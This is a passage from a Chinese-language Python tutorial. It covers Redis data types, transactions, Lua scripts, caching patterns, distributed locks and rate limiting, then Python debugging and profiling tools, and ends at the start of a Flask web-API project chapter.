ZADD rank:game:2024 1500 "player1" 1200 "player2" 1800 "player3"
ZREVRANGE rank:game:2024 0 9 WITHSCORES  # 前10名

# 2. 延迟队列(score 为执行时间戳)
ZADD delay:queue 1704067200 '{"task":"send_email","data":{}}'
# 获取到期任务
ZRANGEBYSCORE delay:queue 0 当前时间戳

# 3. 滑动窗口限流
# 记录请求时间戳
ZADD rate:user:1001 当前时间戳 "请求ID"
# 统计1分钟内的请求数
ZREMRANGEBYSCORE rate:user:1001 0 (当前时间戳-60)
ZCARD rate:user:1001
# 如果超过100次则拒绝

34.9 Python 操作 Redis

# 安装:pip install redis
import redis

# 连接 Redis
r = redis.Redis(
    host='localhost',
    port=6379,
    db=0,
    password=None,          # 如果有密码
    decode_responses=True   # 自动解码为字符串
)

# ===== String 操作 =====
r.set('name', '张三')
print(r.get('name'))        # 张三
r.set('counter', 100)
r.incr('counter')           # 101
r.setex('token', 3600, 'abc123')  # 1小时过期

# ===== Hash 操作 =====
r.hset('user:1001', mapping={'name': '张三', 'age': 18})
print(r.hget('user:1001', 'name'))  # 张三
print(r.hgetall('user:1001'))       # {'name': '张三', 'age': '18'}
r.hincrby('user:1001', 'age', 1)    # age +1

# ===== List 操作 =====
r.lpush('queue', 'task1', 'task2', 'task3')
r.rpush('queue', 'task4')
print(r.lpop('queue'))      # task3
print(r.lrange('queue', 0, -1))  # 所有元素

# ===== Set 操作 =====
r.sadd('tags', 'python', 'redis', 'mysql')
print(r.smembers('tags'))   # {'python', 'redis', 'mysql'}
print(r.sismember('tags', 'python'))  # True

# ===== Sorted Set 操作 =====
r.zadd('leaderboard', {'张三': 100, '李四': 85, '王五': 92})
print(r.zrevrange('leaderboard', 0, 2, withscores=True))  # 前3名
r.zincrby('leaderboard', 5, '李四')  # 李四 +5

# ===== 过期时间 =====
r.expire('name', 60)        # 60秒后过期
r.ttl('name')               # 剩余秒数
r.persist('name')           # 移除过期

# ===== 删除 =====
r.delete('name')            # 删除 key

# ===== 管道(批量操作,减少网络往返)=====
pipe = r.pipeline()
for i in range(1000):
    pipe.set(f'key:{i}', f'value:{i}')
pipe.execute()  # 一次性执行所有命令
Redis 数据类型速查
类型特点典型场景
String最简单,可以存字符串/数字/JSON缓存、计数器、验证码
Hash类似字典,可以单独修改字段用户信息、商品信息
List有序、可重复、支持阻塞消息队列、最新消息
Set无序、去重、支持交并差集标签、好友关系、去重
Sorted Set有序、去重、带分数排行榜、延迟队列
Redis 最佳实践
  • 给 key 加前缀:user:1001、product:1001,方便管理和查找
  • 设置过期时间:缓存数据一定要设过期时间,避免内存溢出
  • 用管道批量操作:减少网络往返,提升性能
  • 生产环境用连接池:不要每次都新建连接
  • 不要用 KEYS *:生产环境用 SCAN 代替,避免阻塞
常见错误总结
  • 忘记 decode_responses:默认返回 bytes,设置为 True 返回字符串
  • KEYS *:数据量大时会阻塞 Redis,用 SCAN 代替
  • 没有设置过期时间:缓存数据不设过期,内存会持续增长
  • 连接不关闭:用连接池或 with 语句管理
  • 数据类型错误:对 List 用 HGET 操作会报错

第三十五章:Redis 进阶——高级特性与实战

本章导览

上一章学了 Redis 的基本数据类型和操作,本章深入 Redis 的高级特性:发布订阅、Lua 脚本、事务、持久化、主从复制、哨兵模式、以及实际项目中的应用场景(缓存穿透/击穿/雪崩、分布式锁、限流)。这些是后端面试和生产环境的核心考点。

35.1 发布订阅(Pub/Sub)

import redis
import threading
import time

# 订阅者
def subscriber():
    r = redis.Redis(host='localhost', port=6379, decode_responses=True)
    pubsub = r.pubsub()
    pubsub.subscribe('news', 'alerts')  # 订阅频道

    print("订阅者启动,等待消息...")
    for message in pubsub.listen():
        if message['type'] == 'message':
            print(f"收到消息:[{message['channel']}] {message['data']}")

# 发布者
def publisher():
    r = redis.Redis(host='localhost', port=6379, decode_responses=True)
    time.sleep(1)  # 等待订阅者就绪

    r.publish('news', '今日新闻:Python 4.0 发布!')
    r.publish('alerts', '系统警告:服务器过载!')

# 启动
t1 = threading.Thread(target=subscriber, daemon=True)
t1.start()
publisher()
time.sleep(1)

35.2 事务(MULTI/EXEC)

import redis

r = redis.Redis(host='localhost', port=6379, decode_responses=True)

# 事务:多个命令要么全部执行,要么全部不执行
pipe = r.pipeline()

pipe.multi()                    # 开始事务
pipe.set('account:A', 1000)     # A 账户 1000 元
pipe.set('account:B', 500)      # B 账户 500 元
pipe.decrby('account:A', 200)   # A 转出 200
pipe.incrby('account:B', 200)   # B 转入 200
results = pipe.execute()        # 执行事务

print(r.get('account:A'))  # 800
print(r.get('account:B'))  # 700

# WATCH 乐观锁(防止并发修改)
r.set('stock', 10)

pipe = r.pipeline()
pipe.watch('stock')  # 监视 stock
stock = int(r.get('stock'))

if stock > 0:
    pipe.multi()
    pipe.decr('stock')
    try:
        pipe.execute()
        print("购买成功")
    except redis.WatchError:
        print("库存已被其他用户修改,购买失败")
else:
    print("库存不足")

35.3 Lua 脚本(原子操作)

import redis

r = redis.Redis(host='localhost', port=6379, decode_responses=True)

# Lua 脚本:原子性的 "检查并设置"
lua_script = """
local current = redis.call('GET', KEYS[1])
if current == ARGV[1] then
    redis.call('SET', KEYS[1], ARGV[2])
    return 1
else
    return 0
end
"""

# 注册脚本
check_and_set = r.register_script(lua_script)

# 使用:只有当 name 的值是 "张三" 时,才改成 "李四"
r.set('name', '张三')
result = check_and_set(keys=['name'], args=['张三', '李四'])
print(result)  # 1(成功)
print(r.get('name'))  # 李四

# Lua 脚本实现分布式锁
lock_script = """
if redis.call('SET', KEYS[1], ARGV[1], 'NX', 'EX', ARGV[2]) then
    return 1
else
    return 0
end
"""

unlock_script = """
if redis.call('GET', KEYS[1]) == ARGV[1] then
    return redis.call('DEL', KEYS[1])
else
    return 0
end
"""

acquire_lock = r.register_script(lock_script)
release_lock = r.register_script(unlock_script)

35.4 持久化(RDB vs AOF)

RDB
定期生成内存快照,保存为 .rdb 文件。恢复快,但可能丢失最后一次快照后的数据
AOF
记录每条写命令,追加到 .aof 文件。数据更安全,但文件更大、恢复更慢
混合持久化
Redis 4.0+ 支持,RDB + 增量 AOF,兼顾速度和安全
# redis.conf 配置

# ===== RDB 配置 =====
save 900 1      # 900秒内至少1个key变化,触发快照
save 300 10     # 300秒内至少10个key变化
save 60 10000   # 60秒内至少10000个key变化
dbfilename dump.rdb
dir /var/lib/redis

# ===== AOF 配置 =====
appendonly yes
appendfilename "appendonly.aof"
appendfsync everysec  # 每秒同步一次(推荐)
# appendfsync always  # 每次写都同步(最安全,最慢)
# appendfsync no      # 由操作系统决定(最快,最不安全)

# AOF 重写
auto-aof-rewrite-percentage 100  # AOF 文件增长100%时触发重写
auto-aof-rewrite-min-size 64mb   # AOF 文件最小64mb才重写

35.5 主从复制与哨兵

# ===== 主从复制 =====
# 从节点配置(redis.conf)
replicaof 192.168.1.100 6379  # 主节点 IP 和端口
masterauth your_password       # 主节点密码

# 查看复制状态
INFO replication

# ===== 哨兵模式(自动故障转移)=====
# sentinel.conf
sentinel monitor mymaster 192.168.1.100 6379 2  # 监控主节点,2个哨兵同意才故障转移
sentinel down-after-milliseconds mymaster 5000   # 5秒无响应认为主观下线
sentinel failover-timeout mymaster 60000         # 故障转移超时60秒
sentinel auth-pass mymaster your_password

# 启动哨兵
redis-sentinel /path/to/sentinel.conf

35.6 缓存穿透、击穿、雪崩

缓存穿透——查不存在的数据

查询一个数据库中不存在的数据,缓存永远不命中,每次都打到数据库。

# 解决方案1:缓存空值
def get_user(user_id):
    # 先查缓存
    cache_key = f"user:{user_id}"
    cached = redis.get(cache_key)

    if cached == "NULL":  # 缓存了空值
        return None
    if cached:
        return json.loads(cached)

    # 查数据库
    user = db.query_user(user_id)

    if user:
        redis.setex(cache_key, 3600, json.dumps(user))
    else:
        redis.setex(cache_key, 300, "NULL")  # 缓存空值,5分钟过期

    return user

# 解决方案2:布隆过滤器
# pip install pybloom-live
from pybloom_live import BloomFilter

bf = BloomFilter(capacity=1000000, error_rate=0.001)

# 初始化:把所有存在的ID加入布隆过滤器
for user_id in db.get_all_user_ids():
    bf.add(user_id)

def get_user(user_id):
    if user_id not in bf:  # 布隆过滤器说不存在,一定不存在
        return None
    return db.query_user(user_id)  # 可能存在(有极小误判率)
缓存击穿——热点key过期

某个热点key(如秒杀商品)过期的瞬间,大量请求同时打到数据库。

import threading

lock = threading.Lock()

def get_hot_product(product_id):
    cache_key = f"product:{product_id}"
    cached = redis.get(cache_key)

    if cached:
        return json.loads(cached)

    # 互斥锁:只让一个请求去查数据库
    if lock.acquire(blocking=False):
        try:
            # 双重检查
            cached = redis.get(cache_key)
            if cached:
                return json.loads(cached)

            # 查数据库
            product = db.query_product(product_id)
            redis.setex(cache_key, 3600, json.dumps(product))
            return product
        finally:
            lock.release()
    else:
        # 其他请求等待后重试
        time.sleep(0.1)
        return get_hot_product(product_id)
缓存雪崩——大量key同时过期

大量缓存在同一时间失效,请求全部打到数据库。

import random

# 解决方案:过期时间加随机值
def set_cache_with_jitter(key, value, base_ttl=3600):
    jitter = random.randint(0, 300)  # 0-300秒随机
    redis.setex(key, base_ttl + jitter, json.dumps(value))

# 解决方案:缓存预热(提前加载热点数据)
def warm_up_cache():
    hot_products = db.get_hot_products(limit=100)
    for product in hot_products:
        set_cache_with_jitter(f"product:{product['id']}", product)

# 解决方案:多级缓存(本地缓存 + Redis)
from functools import lru_cache

@lru_cache(maxsize=1000)
def get_user_local(user_id):
    return get_user_redis(user_id)  # 先查本地,再查Redis,最后查数据库

35.7 分布式锁

import redis
import uuid
import time

class RedisLock:
    def __init__(self, redis_client, key, expire=10):
        self.redis = redis_client
        self.key = f"lock:{key}"
        self.expire = expire
        self.value = str(uuid.uuid4())  # 唯一标识,防止误删

    def acquire(self, timeout=10):
        """获取锁"""
        end_time = time.time() + timeout
        while time.time() < end_time:
            if self.redis.set(self.key, self.value, nx=True, ex=self.expire):
                return True
            time.sleep(0.01)
        return False

    def release(self):
        """释放锁(只能释放自己加的锁)"""
        # Lua 脚本保证原子性
        lua = """
        if redis.call('GET', KEYS[1]) == ARGV[1] then
            return redis.call('DEL', KEYS[1])
        else
            return 0
        end
        """
        self.redis.eval(lua, 1, self.key, self.value)

    def __enter__(self):
        self.acquire()
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.release()

# 使用
r = redis.Redis(host='localhost', port=6379, decode_responses=True)

with RedisLock(r, "order:1001") as lock:
    # 执行需要加锁的操作
    print("正在处理订单...")
    time.sleep(1)

35.8 限流器

import redis
import time

class RedisRateLimiter:
    def __init__(self, redis_client, key, max_requests, window_seconds):
        self.redis = redis_client
        self.key = f"rate:{key}"
        self.max_requests = max_requests
        self.window = window_seconds

    def is_allowed(self):
        """检查是否允许请求"""
        now = time.time()
        window_start = now - self.window

        pipe = self.redis.pipeline()
        # 移除窗口外的请求
        pipe.zremrangebyscore(self.key, 0, window_start)
        # 统计窗口内的请求数
        pipe.zcard(self.key)
        # 添加当前请求
        pipe.zadd(self.key, {str(now): now})
        # 设置过期时间
        pipe.expire(self.key, self.window)

        results = pipe.execute()
        request_count = results[1]

        return request_count < self.max_requests

# 使用:每分钟最多100次请求
r = redis.Redis(host='localhost', port=6379, decode_responses=True)
limiter = RedisRateLimiter(r, "user:1001", max_requests=100, window_seconds=60)

for i in range(105):
    if limiter.is_allowed():
        print(f"请求 {i+1}: 允许")
    else:
        print(f"请求 {i+1}: 被限流")
        break

35.9 连接池配置

import redis

# 创建连接池
pool = redis.ConnectionPool(
    host='localhost',
    port=6379,
    db=0,
    password=None,
    max_connections=20,       # 最大连接数
    decode_responses=True,
    socket_timeout=5,         # 读写超时
    socket_connect_timeout=2, # 连接超时
    retry_on_timeout=True     # 超时重试
)

# 从池中获取连接
r = redis.Redis(connection_pool=pool)

# 或者直接用 from_url
r = redis.Redis.from_url(
    'redis://:password@localhost:6379/0',
    max_connections=20,
    decode_responses=True
)
Redis 生产环境配置建议
  • 设置密码:requirepass your_password
  • 绑定 IP:bind 127.0.0.1,不要暴露到公网
  • 禁用危险命令:rename-command FLUSHALL ""
  • 设置最大内存:maxmemory 2gb,避免吃光内存
  • 淘汰策略:maxmemory-policy allkeys-lru
  • 开启 AOF:appendonly yes,数据更安全
  • 使用连接池:不要每次操作都新建连接
常见错误总结
  • 缓存穿透:查询不存在的数据,每次都打到数据库。用布隆过滤器或缓存空值解决
  • 缓存击穿:热点key过期瞬间大量请求打到数据库。用互斥锁解决
  • 缓存雪崩:大量key同时过期。过期时间加随机值
  • 分布式锁误删:释放了别人的锁。用唯一标识 + Lua 脚本
  • 主从延迟:写完主节点立刻读从节点,可能读到旧数据。用 WAIT 命令
  • 大key:一个key存了太多数据,删除时会阻塞。用 UNLINK 异步删除

第三十六章:调试与性能分析

本章导览

调试是每个程序员必须掌握的技能。代码写得再好,也难免有 bug。本章会教你从最简单的 print 调试到专业的调试工具(pdb、cProfile、tracemalloc),让你能快速定位和解决问题。

36.1 print 调试法——"最简单但有效"

# 最简单的调试方法:在关键位置 print
def calculate(data):
    print(f"DEBUG: data = {data}")  # 看看数据长什么样
    result = sum(data) / len(data)
    print(f"DEBUG: result = {result}")  # 看看结果对不对
    return result

# f-string 的 = 号(Python 3.8+)——调试神器
x = 42
y = 10
print(f"{x=}, {y=}")  # x=42, y=10

# 更多 = 号用法
name = "Alice"
items = [1, 2, 3]
print(f"{name=}, {len(items)=}, {sum(items)=}")  # name='Alice', len(items)=3, sum(items)=6
print 调试的局限
  • 需要手动添加和删除,容易遗漏
  • 无法在运行时检查变量、单步执行
  • 生产环境应该用 logging 模块代替

36.2 logging 模块——"print 的专业替代品"

print 调试虽然简单,但有几个致命问题:无法控制输出级别、无法输出到文件、无法关闭。logging 模块解决了所有这些问题:

import logging

# 基本配置
logging.basicConfig(
    level=logging.DEBUG,  # 最低显示级别
    format="%(asctime)s [%(levelname)s] %(message)s",
    datefmt="%Y-%m-%d %H:%M:%S",
)

# 5 个日志级别(从低到高)
logging.debug("调试信息——变量值、中间结果")      # 10
logging.info("一般信息——程序运行状态")           # 20
logging.warning("警告——不影响运行但需要注意")    # 30
logging.error("错误——某个功能失败了")            # 40
logging.critical("严重错误——程序可能崩溃")       # 50
# 实际调试场景:追踪数据处理流程
import logging

logging.basicConfig(level=logging.DEBUG, format="%(asctime)s %(levelname)s %(message)s")

def process_order(order):
    logging.debug(f"收到订单:{order}")

    if not order.get("items"):
        logging.error(f"订单缺少商品:{order['id']}")
        return None

    total = sum(item["price"] * item["qty"] for item in order["items"])
    logging.info(f"订单 {order['id']} 总价:{total}")

    if total > 10000:
        logging.warning(f"大额订单!{order['id']} 金额 {total},需要审核")

    return {"id": order["id"], "total": total}
# 同时输出到控制台和文件
import logging

logger = logging.getLogger("myapp")
logger.setLevel(logging.DEBUG)

# 控制台处理器——只显示 INFO 及以上
console = logging.StreamHandler()
console.setLevel(logging.INFO)
console.setFormatter(logging.Formatter("%(levelname)s: %(message)s"))

# 文件处理器——记录所有级别
file_handler = logging.FileHandler("app.log", encoding="utf-8")
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))

logger.addHandler(console)
logger.addHandler(file_handler)

logger.debug("这条只出现在文件中")
logger.info("这条出现在控制台和文件中")
logger.error("这条也会出现在两处")
日志级别选择指南
级别用途示例
DEBUG开发调试用,生产环境关闭变量值、SQL 语句、请求参数
INFO记录正常运行状态服务启动、请求处理完成、定时任务执行
WARNING不影响运行但需要关注磁盘空间不足、配置缺失使用默认值
ERROR某个功能失败数据库连接失败、文件读取异常
CRITICAL程序可能无法继续运行核心服务不可用、数据损坏

36.3 pdb 调试器——"暂停程序,逐行检查"

pdb 是 Python 内置的交互式调试器。它能让你暂停程序执行,逐行运行,查看变量值,像"慢动作回放"一样找到 bug。

# 在代码中插入断点
def buggy_function(data):
    result = []
    for item in data:
        breakpoint()  # 程序会在这里暂停(Python 3.7+)
        # 旧版写法:import pdb; pdb.set_trace()
        processed = item * 2
        result.append(processed)
    return result

pdb 实战演练——"完整调试一个 bug"

# 假设有这段有 bug 的代码
def find_average(numbers):
    total = 0
    for n in numbers:
        total += n
    return total / len(numbers)  # 如果 numbers 为空会报 ZeroDivisionError

# 用 pdb 调试:
def find_average_debug(numbers):
    breakpoint()  # 在这里暂停
    total = 0
    for n in numbers:
        total += n
    return total / len(numbers)

find_average_debug([])  # 传入空列表触发 bug
1
程序暂停在 breakpoint() 处——你会看到 (Pdb) 提示符
2
输入 p numbers——查看 numbers 的值,发现是 []
3
输入 n——执行下一行,total = 0
4
输入 n——跳过 for 循环(空列表不进入循环体)
5
输入 n——执行 total / len(numbers),len(numbers) 为 0,触发 ZeroDivisionError
6
找到 bug——需要在函数开头检查列表是否为空。输入 q 退出调试
pdb 完整命令速查
命令缩写说明
nextn执行下一行(不进入函数内部)
steps执行下一行(进入函数内部)
continuec继续运行到下一个断点
print exprp expr打印表达式的值
listl显示当前代码位置周围的代码
wherew显示调用堆栈
upu跳到上一层调用栈
downd跳到下一层调用栈
break Nb N在第 N 行设置断点
break funcb func在函数入口设置断点
clearcl清除所有断点
returnr运行到当前函数返回
argsa打印当前函数的参数
quitq退出调试器

远程调试和事后调试

# 事后调试——程序崩溃后进入 pdb
# 用 python -m pdb your_script.py 运行,崩溃后可以用 pdb 检查现场

# 在代码中启用事后调试
import pdb
import traceback

try:
    risky_operation()
except Exception:
    traceback.print_exc()  # 打印异常堆栈
    pdb.post_mortem()  # 进入事后调试,可以检查当时的变量

36.4 IDE 调试——"图形化断点调试"

现代 IDE 提供了比 pdb 更友好的图形化调试体验。以 VS Code 为例:

1
设置断点——在代码行号左侧点击,出现红色圆点
2
启动调试——按 F5 或点击"运行和调试"面板
3
调试工具栏——继续(F5)、单步跳过(F10)、单步进入(F11)、单步跳出(Shift+F11)
4
变量面板——自动显示当前作用域的所有变量
5
监视表达式——添加要持续观察的变量或表达式
6
调试控制台——在暂停状态下执行任意 Python 表达式
# VS Code 的 launch.json 配置(.vscode/launch.json)
{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "调试当前文件",
            "type": "debugpy",
            "request": "launch",
            "program": "${file}",
            "console": "integratedTerminal",
            "justMyCode": true  // 只调试自己的代码,跳过库代码
        },
        {
            "name": "附加到进程",
            "type": "debugpy",
            "request": "attach",
            "connect": {"host": "localhost", "port": 5678}
        }
    ]
}
VS Code 调试快捷键
快捷键功能
F5继续运行 / 启动调试
F10单步跳过(不进入函数)
F11单步进入(进入函数内部)
Shift+F11单步跳出(执行到当前函数返回)
F9切换断点
Ctrl+Shift+F5重启调试
Shift+F5停止调试

36.5 warnings 模块——"优雅地提醒"

warnings 用于发出"不致命但需要注意"的提示,比如使用了废弃的 API、传入了不推荐的参数:

import warnings

# 发出警告
warnings.warn("这个函数将在 v2.0 移除,请使用 new_function()", DeprecationWarning)

# 常见警告类型
# DeprecationWarning  — 废弃功能
# FutureWarning       — 未来版本会改变的行为
# UserWarning         — 用户自定义警告
# RuntimeWarning      — 运行时可疑行为

# 过滤警告
warnings.filterwarnings("ignore")                    # 忽略所有警告
warnings.filterwarnings("error")                     # 把警告变成异常
warnings.filterwarnings("ignore", category=DeprecationWarning)  # 只忽略特定类型
# 实际用法:标记废弃函数
import warnings

def old_api(data):
    """已废弃,请使用 new_api()"""
    warnings.warn(
        "old_api() 已废弃,请使用 new_api(),将在 v2.0 移除",
        DeprecationWarning,
        stacklevel=2  # 指向调用者而不是这个函数内部
    )
    return new_api(data)

def new_api(data):
    return [x * 2 for x in data]

36.6 traceback 模块——"获取异常堆栈信息"

import traceback
import sys

# 方式一:打印当前异常的堆栈
try:
    1 / 0
except:
    traceback.print_exc()  # 直接打印到 stderr

# 方式二:获取异常信息字符串
try:
    1 / 0
except:
    error_msg = traceback.format_exc()  # 返回字符串,可以写入日志
    print(error_msg)

# 方式三:获取异常的详细信息
try:
    1 / 0
except:
    exc_type, exc_value, exc_tb = sys.exc_info()
    print(f"异常类型:{exc_type.__name__}")
    print(f"异常信息:{exc_value}")
    print(f"异常位置:{traceback.extract_tb(exc_tb)[-1]}")

36.7 cProfile 性能分析——"找出慢在哪里"

import cProfile

def slow_function():
    total = 0
    for i in range(1000000):
        total += i * i
    return total

def another_slow():
    return sum(x ** 2 for x in range(500000))

def main():
    slow_function()
    another_slow()

# 分析函数性能
cProfile.run("main()")

输出结果解读:

# 输出示例:
#          8 function calls in 0.280 seconds
#
#    Ordered by: standard name
#
#    ncalls  tottime  percall  cumtime  percall filename:lineno(function)
#         1    0.150    0.150    0.150    0.150 <string>:1(slow_function)
#         1    0.120    0.120    0.120    0.120 <string>:1(another_slow)
#         1    0.000    0.000    0.280    0.280 <string>:1(main)
#
# ncalls  — 函数被调用的次数
# tottime — 函数自身花费的总时间(不含子函数)
# percall — tottime / ncalls(每次调用的自身时间)
# cumtime — 函数及子函数花费的总时间
# percall — cumtime / ncalls(每次调用的总时间)
cProfile 输出列的含义
  • tottime:函数自身的执行时间,不包括调用其他函数的时间。找瓶颈看这列。
  • cumtime:函数及其子函数的总执行时间。如果 tottime 低但 cumtime 高,说明瓶颈在子函数中。
  • ncalls:调用次数。如果某个函数被调用了 100 万次,即使每次很快,总时间也可能很长。
# 更方便的分析方式:保存为文件并排序
import cProfile
import pstats

# 分析并保存结果
cProfile.run("main()", "profile_output.prof")

# 加载并分析
stats = pstats.Stats("profile_output.prof")
stats.sort_stats("cumulative")  # 按累计时间排序
stats.print_stats(10)           # 只显示前 10 行

# 命令行分析整个脚本
# python -m cProfile -s cumulative your_script.py
# python -m cProfile -s tottime your_script.py  # 按自身时间排序

36.8 line_profiler——"逐行分析性能"

cProfile 只能分析到函数级别,如果想知道函数内哪一行最慢,需要用 line_profiler:

# pip install line_profiler

# 用 @profile 装饰器标记要分析的函数
@profile
def process_data(n):
    data = [i ** 2 for i in range(n)]        # 第 1 行
    filtered = [x for x in data if x % 2 == 0]  # 第 2 行
    total = sum(filtered)                      # 第 3 行
    return total / len(filtered) if filtered else 0  # 第 4 行

process_data(100000)

# 运行:kernprof -l -v your_script.py
# 输出示例:
# Line #   Hits    Time   Per Hit  % Time  Line Contents
# =======================================================
#      3     1     15.0     15.0    25.0   data = [i ** 2 for i in range(n)]
#      4     1     30.0     30.0    50.0   filtered = [x for x in data if x % 2 == 0]
#      5     1     10.0     10.0    16.7   total = sum(filtered)
#      6     1      5.0      5.0     8.3   return total / len(filtered) if filtered else 0

36.9 memory_profiler——"逐行分析内存"

# pip install memory_profiler

from memory_profiler import profile

@profile
def memory_heavy():
    a = [i for i in range(100000)]       # 分配一大块内存
    b = [x ** 2 for x in a]              # 再分配一大块
    c = dict(zip(a, b))                   # 字典更耗内存
    del a                                 # 释放 a
    return len(c)

memory_heavy()

# 运行:python -m memory_profiler your_script.py
# 输出示例:
# Line #    Mem usage    Increment   Line Contents
# ================================================
#      4     45.0 MiB     0.0 MiB   a = [i for i in range(100000)]
#      5     52.0 MiB     7.0 MiB   b = [x ** 2 for x in a]
#      6     60.0 MiB     8.0 MiB   c = dict(zip(a, b))
#      7     52.0 MiB    -8.0 MiB   del a

36.10 timeit 测量小段代码

import timeit

# 测量执行时间
time1 = timeit.timeit("sum(range(1000))", number=10000)
time2 = timeit.timeit(
    "reduce(lambda a,b:a+b, range(1000))",
    setup="from functools import reduce",
    number=10000
)
print(f"sum: {time1:.4f}s")
print(f"reduce: {time2:.4f}s")

# 比较多种实现
code_snippets = {
    "列表推导式": "[x**2 for x in range(1000)]",
    "map+lambda": "list(map(lambda x: x**2, range(1000)))",
    "for循环":    """
result = []
for x in range(1000):
    result.append(x**2)
""",
}

for name, code in code_snippets.items():
    t = timeit.timeit(code, number=10000)
    print(f"{name}: {t:.4f}s")

# 命令行用法
# python -m timeit "sum(range(1000))" -n 10000
timeit 注意事项
  • timeit 会多次执行代码,有副作用的代码(写文件、发网络请求)不要用
  • timeit 会禁用垃圾回收,结果可能和实际运行有差异
  • 测量小段代码用 timeit,分析整个程序用 cProfile

36.11 tracemalloc 内存追踪——"找出内存泄漏"

import tracemalloc

tracemalloc.start()

# 你的代码
data = [i ** 2 for i in range(100000)]

# 查看内存使用
snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics("lineno")

print("[ Top 5 内存消耗 ]")
for stat in top_stats[:5]:
    print(stat)

# 比较两个时间点的内存差异(找出泄漏)
tracemalloc.start()

# 第一次快照
snapshot1 = tracemalloc.take_snapshot()

# 执行可能泄漏内存的操作
leaky_list = []
for i in range(10000):
    leaky_list.append("x" * 1000)

# 第二次快照
snapshot2 = tracemalloc.take_snapshot()

# 比较差异
top_stats = snapshot2.compare_to(snapshot1, "lineno")
print("\n[ 内存增长 Top 5 ]")
for stat in top_stats[:5]:
    print(stat)
# 按文件汇总内存使用(更适合大型项目)
import tracemalloc

tracemalloc.start()
data = {i: list(range(100)) for i in range(1000)}

snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics("filename")  # 按文件名汇总

for stat in top_stats[:5]:
    print(stat)
# <string>: 0.5 MiB

36.12 snakeviz 可视化性能分析——"火焰图"

# pip install snakeviz

# 1. 生成 profile 数据
import cProfile
cProfile.run("main()", "profile_output.prof")

# 2. 用 snakeviz 可视化(会在浏览器中打开交互式火焰图)
# snakeviz profile_output.prof

# 火焰图怎么看:
# - 横轴:函数耗时占比(越宽越慢)
# - 纵轴:调用链深度(上面是调用者,下面是被调用者)
# - 点击可以放大查看某个函数的详情
性能分析工具选择指南
工具分析粒度适用场景
timeit代码段比较两种实现的性能差异
cProfile函数级找出整个程序中哪个函数最慢
line_profiler行级找出函数内哪一行最慢
snakeviz可视化用火焰图直观展示调用链和耗时
tracemalloc内存找出内存泄漏和内存占用大户
memory_profiler行级内存逐行分析内存分配

36.13 调试实战:常见 Bug 的排查思路

Bug 排查四步法
1
复现——确认 bug 能稳定复现,记录输入和环境
2
定位——用二分法缩小范围:在代码中间加 print/breakpoint,确认前半段还是后半段出问题
3
分析——检查变量值、异常堆栈、日志,找到根本原因
4
修复并验证——写测试用例覆盖这个 bug,确保修复后不会复现
# 二分法定位 bug 的技巧
def complex_function(step1_data):
    result1 = step1(step1_data)
    print(f"DEBUG step1: {result1}")  # ← 在这里加断点,看 step1 的输出对不对
    # 如果 step1 的输出正确,说明 bug 在后面
    # 如果 step1 的输出错误,说明 bug 在 step1 或更早

    result2 = step2(result1)
    print(f"DEBUG step2: {result2}")

    result3 = step3(result2)
    return result3
常见错误总结
  • 调试代码留在生产环境:发布前删除所有 print 调试语句,改用 logging 模块
  • timeit 测量有副作用的代码:timeit 会多次执行代码,有副作用(写文件、发请求)的代码不要用
  • profile 结果误读:cumtime 是包含子函数的总时间,tottime 是函数自身时间,看 tottime 找瓶颈
  • 断点忘删除:用 breakpoint() 而不是 import pdb; pdb.set_trace(),更容易搜索和清理
  • 只用 print 调试:学会 pdb 和 IDE 调试器,效率提升 10 倍
  • 忽略 warnings:warnings 往往预示着未来的 bug,不要简单 ignore

第三十七章:项目实战——Web 应用

本章导览

本章是第一个实战项目——用 Flask 搭建一个企业级的 Web API 服务。不再是"Hello World"级别的玩具,而是包含项目结构规划、蓝图路由、SQLAlchemy ORM、JWT 鉴权、全局异常处理和部署方案的完整工程。学完本章,你就能独立搭建一个生产可用的后端服务。

37.1 项目结构规划——"先画蓝图再盖楼"

生活类比

盖房子之前要有蓝图——卧室在哪、厨房在哪、水电怎么走。写 Web 项目也一样,先规划好目录结构,代码才不会乱成一锅粥。一个 Flask 项目的标准结构是按"功能模块"组织代码,而不是把所有东西塞进一个文件。

myapp/ ├── app/ │ ├── __init__.py # 应用工厂函数(create_app) │ ├── config.py # 配置文件(数据库 URL、密钥等) │ ├── extensions.py # 扩展实例(db、jwt、mail 等) │ ├── models/ # 数据模型(SQLAlchemy) │ │ ├── __init__.py │ │ └── user.py │ ├── api/ # API 路由(蓝图) │ │ ├── __init__.py │ │ ├── auth.py # 认证相关路由 │ │ └── users.py # 用户相关路由 │ ├── schemas/ # 数据验证(marshmallow) │ │ └── user.py │ └── utils/ # 工具函数 │ ├── response.py # 统一响应格式 │ └── exceptions.py # 自定义异常 ├── migrations/ # 数据库迁移(Flask-Migrate) ├── tests/ # 测试 ├── requirements.txt # 依赖 ├── .env # 环境变量(不提交到 git) └── wsgi.py # WSGI 入口(部署用)

37.2 应用工厂与蓝图——"模块化组织代码"

# app/__init__.py —— 应用工厂函数
from flask import Flask
from app.extensions import db, jwt
from app.api.auth import auth_bp
from app.api.users import users_bp

def create_app(config_name="development"):
    """应用工厂:创建并配置 Flask 应用"""
    app = Flask(__name__)

    # 加载配置
    app.config.from_object(f"app.config.{config_name.capitalize()}Config")

    # 初始化扩展
    db.init_app(app)
    jwt.init_app(app)

    # 注册蓝图(模块化路由)
    app.register_blueprint(auth_bp, url_prefix="/api/auth")
    app.register_blueprint(users_bp, url_prefix="/api/users")

    # 注册全局错误处理
    register_error_handlers(app)

    return app

def register_error_handlers(app):
    """全局异常处理——统一错误响应格式"""
    from app.utils.exceptions import AppError

    @app.errorhandler(AppError)
    def handle_app_error(e):
        return {"code": e.code, "message": e.message}, e.status_code

    @app.errorhandler(404)
    def handle_404(e):
        return {"code": 404, "message": "资源不存在"}, 404

    @app.errorhandler(500)
    def handle_500(e):
        return {"code": 500, "message": "服务器内部错误"}, 500
# app/config.py —— 配置管理
import os
from dotenv import load_dotenv

load_dotenv()  # 从 .env 文件加载环境变量

class BaseConfig:
    """基础配置"""
    SECRET_KEY = os.environ.get("SECRET_KEY", "change-me-in-production")
    SQLALCHEMY_TRACK_MODIFICATIONS = False
    JWT_SECRET_KEY = os.environ.get("JWT_SECRET_KEY", "jwt-secret-change-me")

class DevelopmentConfig(BaseConfig):
    """开发环境配置"""
    DEBUG = True
